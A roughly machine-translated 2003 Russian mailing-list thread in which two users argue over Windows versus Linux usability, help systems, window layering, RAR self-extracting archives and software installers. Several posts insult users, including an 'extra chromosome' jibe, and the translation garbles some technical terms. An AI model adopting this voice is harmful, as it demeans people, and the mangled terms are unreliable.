KF> In my opinion, they are designed for idiots. Any time. Help built-in
KF> is even worse. Linux has normal help! In non-Russian languages only.
KF> :-(
Explain why Linux helps are better than Windows ones.
[skipped]
KF>>> is closed, and which one is minimized (that’s why the disk was not given away).
AM>> If there was a menu, it would be the same.
KF> No... He didn’t close the window, but rolled it up.
That's exactly what it closed.
[skipped]
AM>> Because how could he know about the terrible word “disk mounting”
KF> You only need to know what you need to know before removing the disk
KF> finish working with it, that is, close all files (close windows,
KF> end programs, move to another directory...)
The disc windows were closed. KF> The auto-installer will unmount it himself in a few seconds.
The auto fitter only installs automatically. There was no auto-unmounting.
AM>> and that an unmounted CD is blocked in the CD drive.
KF> It’s not blocked in Windows, but what happens? Blue screen in W'98
[skipped]
KF> old disk! The disk cannot be pulled out at any time, period.
In Windows, it’s enough to close the programs that work with the disk and that’s it.
[skipped]
KF>>> In CNC machines, that’s where the place is.
AM>> Well, it’s there somewhere. Although it (most often) works on the machine
AM>> a person who understands what he is doing. So he doesn't care - fuck
AM>> or don’t fuck up.
KF> Yeah, but a clinical idiot must sit behind the monitor...
Don’t forget that just anyone will not be allowed to the machine. But only after studying
work on the machine. And with an exam.
And they work on a computer without several years of training. And both geniuses and
idiots. And the computer should be understandable to both. That's the whole problem.
[skipped]
AM>> Wow, this, IMHO, is the problem with Linux.
AM>> A Linux programmer is not interested in something, and he does not do it. KF> I don’t see a problem with this. Linux is a student's craft
KF> do what you want and how you want... I wouldn’t want Linux
KF> has finally turned into a second Windows - one is already quite enough.
In this case, it is necessary to prevent the widespread distribution of Linux. For how
only it will stand on a bunch of ordinary computers, then the same problems will appear with
geniuses and idiots.
[skipped]
AM>> And in some small software they are interested in what they prefer
AM>> users, and instruct their programmer to do this.
KF> Not so. As for what and how to do in Microsoft, I think they have
KF> your opinion, which is successfully imposed on users.
If people wanted to remove explorer from the system, they did it for him (well, yes, pseudo
they did it, they just hid it, but they did it!).
The helper clip got to everyone - it was removed :)
The first Windows were not network-based, because small software decided that this was not a big deal
necessary. The people demanded it - they did it.
The fact that they impose a lot - I don’t argue with that. But also feedback
some kind, but there is.
AM>> As a result, users pay small software and remain on Windows, AM>> and about Linux they say “oh, that’s bullshit, there’s not even a YYY.”
KF> Absolute rulez does not exist.
Of course.
KF> I can say about Windows that everything is garbage... even windows there
KF> You cannot steer normally using the keyboard.
That's right. But a crowd of users will ask - why do we need this? That's all for us
I like it.
In general, it has already been written several times - Linux is not widely distributed because
that there is no software necessary for ordinary users!
If there was an office that would 100% understand documents from the MS office, if
there was a ba program like 1C accounting (and so that there was a minimum of hassle with transfer to
Linux), all sorts of CADs and so on and so forth, then a large crowd of people would go to
Linux.
But Linux programmers are not interested in this.
[skipped]
AM>> Or write a shell program that will
AM>> display the explorer window and cmd together.
KF> Here's another thing... I'm a simple user, I don't know C/C++ and I don't want to know.
Well, ask (for an appropriate fee) a programmer of some kind.
KF>>> How can cmd lower the window level so much
KF>>> so that it is really below the icons?
AM>> What does "window level" mean? KF> Each window has a level. Whoever has it less (or more) is the one
KF> appears on top and blocks the remaining windows. Icons also have
KF> your level. Even lower is "wallpaper".
Actually, there is an official name - Z-buffer of windows. And there are regular
a means to move the window up and down this buffer.
And about icons and wallpapers - it’s wrong. These are not windows, these are icons in the window + background.
KF>>> Windows is not capable of this, and therefore is not friendly.
AM>> And who is stopping someone who is interested in implementing this feature?
KF> So all I will do is implement it
KF> all sorts of unnecessary features...
To make your own work easier, why not work?
AM>> What about the presence of cmd glued to the conductor automatically
AM>> makes Windows friendly?
KF> He will make her less unfriendly.
IMHO this is incorrect.
Maybe she will become less unfriendly just for you. But more dangerous
for everyone else.
Alexand
Hi *Kirill*!
It all started on 01-Sep-03 at 08:19:55, when Kirill Frolov
talked with Roman Alexandrov about RST Attack
RA>>>> There are operating systems _generally_ without a command line, and nothing,
RA>>>> live.
KF>>> In phones, refrigerators...
RA>> MAC OS
KF> Is it okay, what’s inside BSD?
Only tens (MAC OS X). You can also drive on the Amiga without the command line
Palm OS (for example, I have a palm tree under my hand) command line on... not
needed.
Always yours Alexander
Press RESET immediately, Aleksandr Majorov!
On Wed, 10 Sep 03 17:48:50 +0400, Aleksandr Majorov wrote:
AM>>> Easier than on the same Linux.
KF>> It depends on how you work with it...
AM> Average statistical work - create a document in Word/Excel, with 1C
AM> work in accounting...
There, in general, the user does not need an OS and this is the best place. But this is already
the result is not a general-purpose computer, but an accounting adding machine.
AM>>> For the first time, the tips help. Then they get wildly annoying.
KF>> In my opinion, they are designed for idiots. Any time. Help built-in
KF>> is even worse. Linux has normal help! In non-Russian languages only.
KF>> :-(
AM> Explain why Linux helps are better than Windows ones.
They were written by intelligent people and for intelligent people.
And the fact that the Microsoft help built into Windows is written by baboons and
for idiots - that's for sure...
KF>> The auto-installer will unmount it himself in a few seconds.
AM> The auto-installer only installs automatically. There was no auto-unmounting there.
Why is he needed like that then? :-/
AM>>> Well, it’s there somewhere. Although it (most often) works on the machine AM>>> a person who understands what he is doing. So he doesn't care - fuck
KF>> Yeah, but a clinical idiot must sit behind the monitor...
AM> Don't forget that just anyone will not be allowed to the machine. And only after studying
AM> work on the machine. And with an exam.
AM> And they work on a computer without several years of training.
Well, everyone usually has some minimal knowledge... although, yes,
terrible things happen.
KF>> I don’t see a problem with this. Linux is a student's craft
KF>> do what you want and how you want... I wouldn’t want Linux
KF>> has finally turned into a second Windows - one is already quite enough.
AM> In this case, you need to prevent Linux from becoming widespread.
AM> Because as soon as it stands on a bunch of ordinary computers, they will appear
AM> the same problems with geniuses and idiots.
Well, to hell with it. I like the DIY design better. Although yes,
It's one thing to do for yourself...
KF>> Not so. As for what and how to do in Microsoft, I think they have
KF>> your opinion, which is successfully imposed on users. AM> People wanted to remove Explorer from the system - they did it for them
A strange desire. It was always possible to install TorMozilla anyway.
KF>> I can say about Windows that it’s all garbage... even windows there
KF>> you cannot steer normally from the keyboard.
AM> That's right. But a crowd of users will ask - why do we need this?
So as not to break your hands on the mouse. When everything is littered with windows in Windows
It’s especially inconvenient to work, and also to have to reach for the mouse all the time,
especially when you work with text... it's creepy. On the other hand, Windows
the interface really allows you to do everything from the keyboard, but through
the menu is very long and inconvenient. And also this damn cross...
AM> In general, it has already been written several times - Linux is not widely distributed
AM> because there is no software necessary for ordinary users!
Well, yes, I guess I’m a difficult user... I’ll reveal a terrible secret -
This was the main motivation for me to install Linux
the most *lack of software necessary for a simple user*. Well it wasn't
I don’t have any software... and then the disk appeared. I look - and he’s all software
packed to capacity. Then a few more of these discs... completed
process. Where do you get similar software for Windows (buy everything from meno kilobucks) I still don’t know.
AM> If there was an office that would 100% understand documents from the MS office,
Why? Just to be? Somehow you can read it (along with all sorts of
"invisible" comments :-), however, this is not often needed.
So I, from the point of view of a complete Linux user, can say -
if there was an office for Windows, but 100% compatible with OO or something like that
with numeric...
AM> if there was a program like 1C accounting
AM> (and to minimize the hassle with porting to Linux),
Yes, an ordinary user cannot calculate his finances without 1C...
By the way, something happened in accounting. They even give demos for free,
“consultant” or something, I don’t remember.
AM> all sorts of CADs
And they exist, these all sorts of cads. For example, Eagle for wiring printed circuit boards
boards, $25,000 is the normal price...
AM> and so on,
And so on and so forth too. Well, something is certainly worse, something completely
bad... but there.
AM> then a large crowd of people would go to Linux.
Is this necessary?
AM> But, Linux programmers are not interested in this.
I, as a user, am also not interested in using Windows from Linux
done. Therefore, I don’t even know if these crowds of people are necessary,
100% offices and other amenities... AM>>> Or write a shell program that will
AM>>> display the explorer and cmd windows together.
KF>> Here's another thing... I'm a simple user, I don't know C/C++ and I don't want to know.
AM> Well, ask (for an appropriate fee) a programmer of some kind.
I will cry, inject myself and continue to eat cactus...
KF>>>> How can cmd lower the window level so much
KF>>>> so that it is really below the icons?
AM>>> What does "window level" mean?
KF>> Each window has a level. Whoever has it less (or more) is the one
KF>> appears on top and blocks the remaining windows. Icons also have
KF>> your level. Even lower is "wallpaper".
AM> Actually, there is an official name - Z-buffer of windows. And there are full-time
AM> means for moving the window up and down this buffer.
AM> And about icons and wallpapers - it’s wrong. These are not windows, these are icons in the window + background.
In short, there is a level, it’s called: _WIN_LAYER(CARDINAL) = 4.
Each level has its own buffer. If some window has a higher level,
no matter how you switch the windows, it will still remain on top. WellWithin one level, windows naturally scroll up and down.
In Windows there is no standard user tool for moving up and down.
Hello Kirill!
11 Sep 03 01:29, Kirill Frolov -> Aleksandr Majorov:
[skipped]
AM>> Average statistical work - create a document in Word/Excel, with
AM>> 1Work with accounting department...
KF> There, the user doesn’t need an OS at all and that’s the best place. But this is already
KF> the result is not a general-purpose computer, but an accounting arithmometer.
That’s right, that’s why personal computers started selling out (since ’82), because
people saw them as an inexpensive multifunctional accounting machine,
typing texts, databases and other work.
[skipped]
KF>>> The auto-installer will unmount it himself in a few seconds.
AM>> The autofitter only installs automatically. Auto-unmount there
AM>> was not.
KF> Why is he needed then? :-/
And this is a question for the person who set up Linux.
[skipped]
KF>>> Not so. As for what and how to do in Microsoft, I think
KF>>> have their own opinion, which is successfully imposed on users.
AM>> People wanted to remove explorer from the system - they did it for him
KF> A strange desire. TorMozilla could have been installed anyway KF> always.
But people didn’t like the fact that IE was in the system all the time. That all kinds of software
from MS was installed on the computer without the user's permission during the installation of Windows.
KF>>> I can say about Windows that it’s all bullshit... even there
KF>>> windows cannot be controlled normally using the keyboard.
AM>> That's right. But a crowd of users will ask - why do we need this?
KF> So as not to break your hands on the mouse. When everything is littered with windows in Windows
KF> is especially inconvenient to work with
“Everything is littered with windows” - this is just that terrible case. Minimum knowledge
They say that you don’t need so many windows.
In addition, the keyboard has Win keys, which are still useful.
KF> and also reach for the mouse all the time
KF> especially when you work with text... it’s creepy.
The mouse, as a rule, lies on the right near the keyboard. It's not far to reach for her.
KF> On the other hand, the Windows interface really allows everything
KF> can be done from the keyboard, but through the menu it is very long and inconvenient. And also
KF> this fucking cross...
What about "cross"? Press Alt+F4 or Esc in the dialog box... AM>> In general, it has already been written several times - Linux is not distributed
AM>> widely because it is not necessary for ordinary users
AM>> software!
KF> Well, yes, I guess I’m a difficult user... I’ll reveal a terrible secret -
KF> this was the main motivation for me to install Linux
KF> the very *lack of software necessary for a simple user*. Well no
Now let's consider this situation - you earn money using a computer and
software In this situation, will you demolish Windows, where everything is there, and switch to
Linux, where this software is not available, plus you will have to deal with it for some time
Linux. When will you work?
[skipped]
AM>> If there was an office that would 100% understand documents from MS
AM>> office,
KF> Why? Just to be? Somehow you can read (at the same time
KF> all sorts of “invisible” comments :-), however, this is not often
KF> needed.
No. It's just that now MS office is an "industrial standard" (de facto).
It is in the office that the vast majority of all kinds of documents are done. Okay if
It’s just a document, but there are often mind-blowing macros there thatmakes the job a lot easier!
And not a single office on Linux is 100% compatible with MS office yet.
[skipped]
AM>> if there was a program like 1C accounting
AM>> (and to minimize the hassle with porting to Linux),
KF> Yes, an ordinary user cannot calculate his finances without 1C...
Well, don’t explain to ordinary users that they are wrong, that everything needs to be calculated
manually, but you just need to look at the computers.
KF> By the way, something happened in accounting. They even give it to them for free,
KF> “consultant” or something, I don’t remember.
What about transferring the database from 1C? Because in accounting it is important to have
database of all operations performed.
AM>> all sorts of CADs
KF> And they exist, these all kinds of cads.
Where are there more of them in terms of number? Are they better than Windows ones in terms of ease of use?
[skipped]
AM>> then a large crowd of people would go to Linux.
KF> Is this necessary?
Good question. And skip knows him. However, the more people on Linux, the
its authors have more money.
[skipped]
AM>> Actually, there is an official name - Z-buffer of windows. And there are
AM>> standard means for moving the window above this buffer and AM>> below. And about icons and wallpapers - it’s wrong. These are not windows, these are icons
AM>> in window + background.
KF> In short, there is a level, it’s called: _WIN_LAYER(CARDINAL) =
KF> 4. Each level has its own buffer. If some window has a level
KF> above, then no matter how you switch windows there, it will remain the same on top.
I haven't heard of anything like this.
KF> Well, windows within one level naturally scroll
KF> up and down. In Windows standard user tool for
KF> there is no movement above or below.
Hmm, it’s okay that I can easily make the window “always above everyone else”, and then
make it "as it was"?
Alexand
Press RESET immediately, Aleksandr Majorov!
On Thu, 11 Sep 03 17:54:09 +0400, Aleksandr Majorov wrote:
KF>> A strange desire. TorMozilla could have been installed anyway
KF>> always.
AM> But people didn’t like the fact that IE was in the system all the time.
They themselves have an extra chromosome in their system...
KF>> So as not to break your hands on the mouse. When everything is littered with windows in Windows
KF>> is especially inconvenient to work with
AM> “Everything is littered with windows” - this is just that terrible case.
Well, is it a multi-window system, or not?
AM> Minimal knowledge says that you don’t need so many windows.
I know better what I need.
AM> In addition, the keyboard has Win keys, which are still useful.
Instead of ctrl-esc and alt-space?
KF>> and also reach for the mouse all the time
KF>> especially when you work with text... it’s creepy.
AM> The mouse, as a rule, lies on the right near the keyboard. It’s not far to reach for her.
So you still need to stretch. Moreover, the most functional right
hand.
KF>> Well, yes, I guess I’m a difficult user... I’ll reveal a terrible secret - KF>> this was the main motivation for me to install Linux
KF>> the very *lack of software necessary for a simple user*. Well no
AM> Now consider this situation - you earn money with the help
AM> computers and software. In this situation, will you demolish Windows, where everything is and
AM> switch to Linux, where this software is not available, plus it will take some time
Tell me honestly - are you a messenger from some pisish office?
There is absolutely no need for me to prove that there is something missing in Linux, that it
incorrect, etc. I can touch Linux with my own hands and see everything.
But I personally don’t need accounting programs, CADs and a 100% office,
especially on a home machine - well, what kind of accounting is there, your expenses
count?
KF>> Why? Just to be? Somehow you can read (at the same time
KF>> all sorts of “invisible” comments :-), however, this is not often
KF>> needed.
AM> No. It's just that now MS office is an "industrial standard" (de facto).
I can read advertisements on the Internet...
AM> And not a single office on Linux is 100% compatible with MS office yet.
And M$-office is not compatible with (la)tech. KF>> By the way, something happened in accounting. They even give it to them for free,
KF>> “consultant” or something, I don’t remember.
AM> What about transferring the database from 1C?
Look at www.ya.ru. I don't know, I don't care.
AM>>> all sorts of CADs
KF>> And they exist, these all kinds of cads.
AM> And in terms of number, where are there more of them? Are they better than Windows ones in terms of ease of use?
I don’t know about the quantity and convenience, but it probably looks the same
the same, but in terms of prices, Unixes are ahead... in the sense that Windows versions
can be twice as cheap.
AM>>> then a large crowd of people would go to Linux.
KF>> Is this necessary?
AM> Good question. And skip knows him. However, the more people there are on Linux,
AM> the more money its authors have.
Well, they would sell Linux to Microsoft...
KF>> In short, there is a level, it’s called: _WIN_LAYER(CARDINAL) =
KF>> 4. Each level has its own buffer. If some window has a level
KF>> above, then no matter how you switch windows there, it will still remain the same on top.
AM> I’ve never heard of this.
This is because layer is called / layer / in Russian. KF>> Well, windows within one level naturally scroll
KF>> up and down. In Windows standard user tool for
KF>> there is no movement above or below.
AM> Hmm, it’s okay that I can easily make the window “always above everyone else”, and then
AM> make it “as it was”?
And which Win button? How to do /always below everyone else/?
Hello Kirill!
12 Sep 03 00:48, Kirill Frolov -> Aleksandr Majorov:
[skipped]
AM>> “Everything is littered with windows” - this is just that terrible case.
KF> Well, is it a multi-window system or not?
AM>> Minimal knowledge says that you don’t need so many windows.
KF> I know better what I need.
Well, if you yourself filled up your entire desktop with windows, then you have nothing to complain about
There are too many windows and you suddenly feel uncomfortable doing anything.
AM>> In addition, the keyboard has Win keys, which are still useful.
KF> Instead of ctrl-esc and alt-space?
Well then, tell me how to minimize all windows (Win+M), how to open Explorer (Win+E) and
other combinations.
The good thing is that I can assign my own reactions programmatically :)
[skipped]
AM>> Now consider this situation - you earn money from
AM>> using a computer and software. In this situation, will you demolish Windows?
AM>> where everything is and switch to Linux, where this software is not available plus
AM>> will have to take some time
KF> Tell me honestly - are you a messenger from some pisish office?
It feels like you’re starting to remember about some exiles whenyou're running out of arguments :)
No, I don’t care who works on what computers/OS. But I don’t care who’s on what
works in my organization, because I have to configure/prompt, etc.
And somehow I don’t need any extra problems with the fact that the software doesn’t understand the people who came
files, users do not understand this OS, etc.
[skipped]
KF> And accounting programs, CADs and one hundred percent office personally
KF> I don’t need
Just because you don’t need something doesn’t mean that everyone doesn’t need it.
KF> especially on a home machine - well, no way
KF> accounting, calculate your expenses?
Well, let's talk about home computers.
Tell me, what do they do on 80...90% of home computers? That's right, they play all sorts of games
toys.
What OS are all the new toys coming out on the PC?
[skipped]
AM>> No. It's just that now MS office is an "industrial standard" (de
AM>> fact).
KF> I can read advertisements on the Internet...
This is not advertising, but the harsh truth of life.
AM>> And not a single office on Linux is 100% compatible with MS yet
AM>> office.
KF> And M$-office is not compatible with (la)tech.
Yeah. But if you send your texts in (la)tex, then guess where you are going with theseWill they send texts in most offices?
If they have already started sending spam in the form of an attached Word file!
[skipped]
AM>> Good question. And skip knows him. However, the more people on
AM>> Linux, the more money its authors have.
KF> Well, they would sell Linux to Microsoft...
But MS doesn’t really need Linux. This is a completely different ideology, a completely different
peace.
As competitors, Linux is even beneficial to MS. But sell Linux to them now
unprofitable, and Windows sells well.
But when there will be a lot of software on Linux and people will start actively using it
move on, then MS will apparently release its MS Linux.
[skipped]
AM>> Hmm, it’s okay that I can easily make a window “always above everyone else”
AM>> and then do it “as it was”?
KF> And which Win button?
Well, the one on which I will attach the event handler of my program.
KF> How to make /always the lowest/?
I have never tried to do this.
Alexand
Hello Kirill!
01 Oct 03 00:57, Kirill Frolov -> Aleksandr Majorov:
[skipped]
AM>> By the way, your example with archiving an archived file and
AM>> adding the current date to the archive name in Windows solves much
AM>> simpler and shorter: rar
Hello, Kirill!
Thu 02-Oct-2003 23:14, you (500:812/1.507) wrote a letter to Aleksandr Majorov:
KF> 1) Incompatibility. To extract files from an archive, you need to have
KF> exactly the same or compatible computer with the operating system
KF> exactly the same or compatible version as in which it worked
KF> archiver.
Yes, you soar, as far as I remember, even the Amiga port of Unrar at one time
calmly unpacked Rarovsky sfx-s (fucking screw music modules
managed to pack it like that).
KF> 2) Not even viruses, but simply security.
1) Size. A useless appendage of code along with the archive.
With best wishes, Vladimir.
Press RESET immediately, Aleksandr Majorov!
On Fri, 03 Oct 03 10:02:43 +0400, Aleksandr Majorov wrote:
KF>> $ unrar l ZXCPM.ZIP
KF>> UNRAR 3.00 beta 7 freeware Copyright (c) 1993-2002 Eugene Roshal
KF>> ZXCPM.ZIP is not RAR archive
KF>> This is not the case for the console version.
AM> And you play around with the keys according to the documentation.
And you yourself go to Roshal’s website and read the documentation.
Claims that my OS is incorrect are not accepted.
KF>> I don't change it every day. There just might be another one
KF>> a process other than archiving files with a RAR archiver.
AM> Well, for a different process, write a different script.
How will I write it? This is where it all started, that there was nothing to write on.
There is nothing (almost nothing...) provided standard in the Windows package.
AM> Look how many opportunities you found for automation. So not in the shell
AM> one rulez all :)
These are not shells.
KF>>>> SFX in the toilet. Why is obvious, I hope.
AM>>> No, explain.
KF>> 1) Incompatibility. To extract files from an archive, you need to have KF>> exactly the same or compatible computer with the operating system
KF>> exactly the same or compatible version as in which
KF>> worked
KF>> archiver.
AM> Nonsense.
AM> Read about the keys for the console version of Win-Rar, and about Win-Rar itself.
So that you don't rave, suggest a way to unpack the SFX-rar archive on
ZX-Spectrum (scorpio, 256kb). You can write Unrar for Spectrum
it turned out. What about a Windows emulator?
KF>> Self-extracting archives were invented for wine lamers, and only
KF>> for them, so that you can click on setup.exe. For nothing more
KF>> they are not needed.
AM> SFX archive ensures that you don’t have to look for the unarchiver you need
AM> versions and all that.
The decompressor of the required version and all that, recorded on the same media,
in the same directory where the archiver of the required version is the one I created
archive.
AM> ActiveX is a continuation of COM. If you don't understand this, then this means
AM> that you just didn’t read the documentation :)
I don’t believe it, it’s all a hoax. KF>> You also need Windows for this. Here, under Linux, there was also rar-sfx.
KF>> What do you think, if I pack it for them and give you the archive, will you unpack it?
AM> I'll unpack it without any problems. Because I read the documentation.
Well, what key do you use to unpack it?
AM> I know how to easily cut off an sfx module and get a regular one
AM> RAR.
Well, reveal the secret!
I found a disk with toys "there is not a single license on this disk
program", there is a file SFX-RAR (honestly it writes this at startup).
$rar s-SU27.exe
RAR 3.00 beta 7 Copyright (c) 1993-2002 Eugene Roshal 28 Apr 2002
Shareware version Type RAR -? for help
Removing SFX module
Converting SU27.exe
>SU27.exe is not RAR archive
Done
That's all. Should I send you the file? Will you teach me how to remove SFX?
No, I don’t argue, some may come off, but some will...
AM> Plus Winrar itself can unpack it like that, plus many commanders
AM> (totalsommm, dosnavigator) quietly “enter” this executable file as in
AM> archive.
There is no need to tell me wine lamer tales. I can imagine at least a little
what
means "included in the archive." This one is not included, by the way. AM> If you don’t understand how to do something, it doesn’t mean that’s all
AM> the rest will do the same.
Well, what am I doing wrong?
KF>> Then you also need a program that will remember all the mouse clicks on
KF>> buttons, will write them to a file, and will be ready to play them later
KF>> this...
AM> 1) There are a lot of such programs.
We made it... :-(
AM> 2) You can pack via the command line.
This is a terrible black dos!
AM>>> So they did this especially for you, otherwise you might want to
AM>>> compress everything in ZIP tomorrow!
KF>> Then I'll take a normal ZIP, or better yet 7ZIP.
AM> Why should I look for something else if I already have something to pack/unpack?
I don't have one. And it costs money, but 7ZIP is free.
KF>>>> Are the courts in the USA as overloaded as in Russia?
AM>>> But SCO shares are growing and they have profits.
KF>> From the sale of these shares...
AM> No, they claim that due to those Linux users who finally decided
AM> pay."12 chairs" in its purest form, where is the money for entering the hole?
collected...
KF>> Their demands cannot be recognized in any country in the world
KF>> legal.
AM> The "License Agreement" for Windows is inconsistent in some countries
AM> legislation, so what of it?
The transaction between you and Microsoft cannot be recognized as legal and
a different contract may be terminated or another contract may be re-concluded.
KF>>>> This is a terrible problem on Linux, but thanks to it it at least gives
AM>>> ~~~~~~~~~~~~~~~~~~~~~~~~~
KF>>>> more or less predictable result when updating any
KF>>>> programs.
AM>>> Hm, how can a terrible temoroi produce a predictable option?
KF>> Why can’t it give a predictable result?
AM> If in order to do something there is a terrible problem, then
AM> this already means some uncertainty.
Some kind of fictitious and non-existent one? I'm talking about uncertainty
didn't say anything...
AM>>> Or does it mean that long sex with an update is guaranteed
AM>>> programs? :) KF>> No, this just shows that the system is quite complex, and when
KF>> causes inconvenience to work
AM> That's enough already.
Enough for what? To replace concepts and make it
absolutely crazy conclusions?
KF>> but this gives at least some guarantee of the integrity of the OS after the next one
KF>> installing/uninstalling/updating programs.
AM> This is of course good, but the above makes this guarantee no longer interesting.
AM> Installing/removing software on a working machine is orders of magnitude less than on this one
AM> computers are turned off. In the sense that they work all the time, but they rarely install software.
AM> And the admin must install the software.
Nobody owes anything. The user can also place it, with exactly the same as in
in Windows, the result is in your directory. And in the same Windows, another stone
in their windows, not every program works normally without
administrator rights.
AM> And in Linux: it is difficult and inconvenient for users to work with the system, but the admin
AM> can install/uninstall up to 100 programs per day without any problems.
Where did this conclusion come from?
KF>>>> I believe that in this regard, Bill has a lot to learn from Linux. KF>> Well, maybe he’ll come to his senses...
AM> Hardly. He first of all thinks about the convenience and “beautifulness” of the work
AM> users, because there are more of them than admins.
Isn't the halo above his head still glowing? He thinks about something completely different.
KF>> If some program in Windows REPLACES during installation
KF>> SYSTEM LIBRARY God knows what incompatible version it is
KF>> order?
AM> First it will ask you whether to replace or not.
Maybe he will ask, or maybe he won’t...
What to do when one program does not work with a new library?
and with the old one - another?
KF>> And when, when demolishing this program, along with this library
KF>> (the installer did its best...) Windows won’t load anymore - it’s like
KF>> ok?
AM> First, it will decide whether to demolish it or not.
It will ask you about uninstalling the program. And he won’t say anything about the library.
KF>> documentation and man page. In general, everything about this is also disgusting
KF>> this is the case. The complaints, of course, are not so much about Microsoft, but about
KF>> to third-party program writers, but nevertheless the facts are what they are KF>> yes...
AM> So, it means that in Linux, in general, all programs have normal functionality
AM> documentation? I don't believe it! (c)
Modern ones often do not. :-( This is just a harmful influence
Windows in action. They try to do everything as in Windows, which means
Documentation is considered unnecessary to write...
KF>> And where is all of the above listed in your installer?
AM> No. But when creating an installation, I think with my head.
A quick question: is your installer capable of installing the program?
without an operator? After all, automation is king, isn’t it?
KF>> During installation, many installers check for the presence of the necessary ones
KF>> libraries, programs... they even download something from the Internet.
AM> And what don’t you like now?
Below:
KF>> By the way, I have long wanted to ask what I should do if
KF>> there is no Internet on this machine and there cannot be, but install the software
KF>>need?
AM> Well, probably in the same way as Linux programs are installed via the Internet.
So these are installed via apt-get. Or rather, they are on their own
They are not installed anywhere at all, the package manager installs them! AM> For example, by indicating “take not from the Internet, but from here.”
AM> Although yes, some programs don’t understand and break into the Internet... That’s what it is
AM> saw. But! For such programs there is a second option “all with you”, where
AM> there is no need to download anything anymore.
That same acrobat reader of the latest version on adobe.com is bursting,
and establishes something. He even writes the name of the file where he downloads it from.
And then the most interesting thing: from where he downloads this file
do not take - error 403 (access denied). The file itself, after
The installer has already downloaded it, it doesn’t exist anywhere. What to do?
KF>> What prevented Microsoft from making a single standard installer?
AM> The fact that this is not really necessary, as it turned out.
AM> They made a single standard. They even did two. It didn’t take root.
They did it poorly, or they badly forced others to use the regular one
installer
KF>> And force other program writers to use this installer
KF>> use.
AM> If you force someone to do something, they will send you to hell and won’t do it!
This means they will not write software for Windows at all. That's it. AM> In the same Linux, as you say, there are programs that do not care about the standard
AM> installer.
In Linux, programs are not installed themselves. They are placed by someone else, specially
a program designed for this. No installers in Windows
no understanding at all. Another thing is that manufacturers of commercial software
often they don't link to any packages and offer a tarball and
installation script with detailed installation instructions. That's right
no one is stopping you from wrapping this software in a package and installing it as standard
way (well, yes, it’s more difficult than clicking on setup.exe...)
AM>>> Tell me, is it possible to make a newspaper on Speck, on the very first PC?
KF>> On spec it’s quite possible. You only need a spec with a very large disk drive
KF>> (unsubscribe graphics). Well, you need to write software not as they write now --
KF>> without Active-X and OpenGL...
KF>> And on the 286th the newspaper was quite successfully created, the program seems to be News
KF>> was called. A kind of black and white editor (on CGA), there are pictures and
KF>> fonts, everything was... I still remember the “YAVERTS” keyboard layout.
KF>> Well, this is certainly not professional software, but it’s very close to that. AM> Hmm...
AM> Well, okay, how long will it take to type up the newspaper on Speck and 286?
On spec, not in a few seconds, of course. But real time and not
is it necessary? But on the 286th it didn’t seem to take much time to do this.
AM> What's next?
AM> How do you transfer all this from the computer to the form?
So I’m wondering how they were transferred and from where?